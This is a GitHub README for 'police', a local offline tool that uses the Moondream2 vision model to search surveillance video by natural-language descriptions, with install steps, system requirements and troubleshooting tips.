gaga84700

# 🚓 police - Effortless AI Video Searches Locally

![Download Latest Release](https://img.shields.io/badge/Download_Latest_Release-Click_Here-brightgreen)

![Python](https://img.shields.io/badge/Python-3.10%2B-blue)
![PySide6](https://img.shields.io/badge/GUI-PySide6-green)
![Moondream2](https://img.shields.io/badge/AI-Moondream2-purple)
![License](https://img.shields.io/badge/License-MIT-yellow)

**English** | [繁體中文](README_zh-TW.md)

A local AI-powered video analysis tool using **Moondream2** Vision Language Model. Search surveillance footage using natural language queries like "person in red" or "white car" - all completely offline.

> **Privacy First**: All processing runs 100% locally. No cloud uploads, no data leakage.

---

## ✨ Features

- 🔒 **Fully Offline**: Sensitive footage never leaves your machine.
- 🔍 **Natural Language Search**: Describe what you're looking for in Chinese or English.
- 📊 **Confidence Threshold**: Filter results by AI confidence, ranging from 0% to 100%.
- ⚡ **Speed Options**: Choose from Normal (1s/frame), Fast (2s), or Ultra Fast (3s).
- 🎬 **Video Controls**: Use timeline slider, play/pause, click-to-seek, and auto-play features.
- ✅ **Prompt Preview**: Quickly see how your search phrases will look.

---

## 🚀 Getting Started

To start using the police application, follow these steps:

1. **Download the Software**  
   Visit this page to download the latest version: [Download Latest Release](https://github.com/gaga84700/police/releases).

2. **Install the Application**  
   - Locate the downloaded file in your Downloads folder.
   - Double-click on the installation file.
   - Follow the on-screen instructions to install the application on your computer.

3. **Open the Application**  
   After installation, find the police icon on your desktop or in your applications. Click it to start.

4. **Load Your Video**  
   Use the 'Open Video' option to load your surveillance footage into the application.

5. **Perform a Search**  
   Enter your search term in natural language in the search bar and click 'Search'. For example, type "person in red" or "white car".

---

## ⚙️ System Requirements

To run the police application smoothly:

- **Operating System**: Windows 10 or later, MacOS 10.14 or later
- **Processor**: Intel Core i3 or equivalent
- **RAM**: Minimum 4 GB, 8 GB recommended
- **Storage**: At least 500 MB of free disk space
- **Python**: Version 3.10 or higher installed on your machine

---

## 📄 Download & Install

To download the software, head over to the Releases page: [Download Latest Release](https://github.com/gaga84700/police/releases).

Ensure you follow the instructions above for a successful installation. After downloading, launch the application and begin searching your video files using natural language queries.

---

## 🛠️ Troubleshooting

If you encounter issues, consider the following:

- **Installation Problems**: Ensure you have proper permissions to install software on your computer.
- **Application Not Opening**: Verify that your system meets the requirements listed above.
- **Search Not Returning Results**: Double-check your search terms for spelling or phrasing errors.

---

## 💬 Support

If you need additional help, you can reach out through the Issues section of this repository. The community and contributors are here to assist you.

Your feedback is important. Share your experience or report bugs for continuous improvements.

---

For more detailed instructions and FAQs, visit our [Wiki](https://github.com/gaga84700/police/wiki).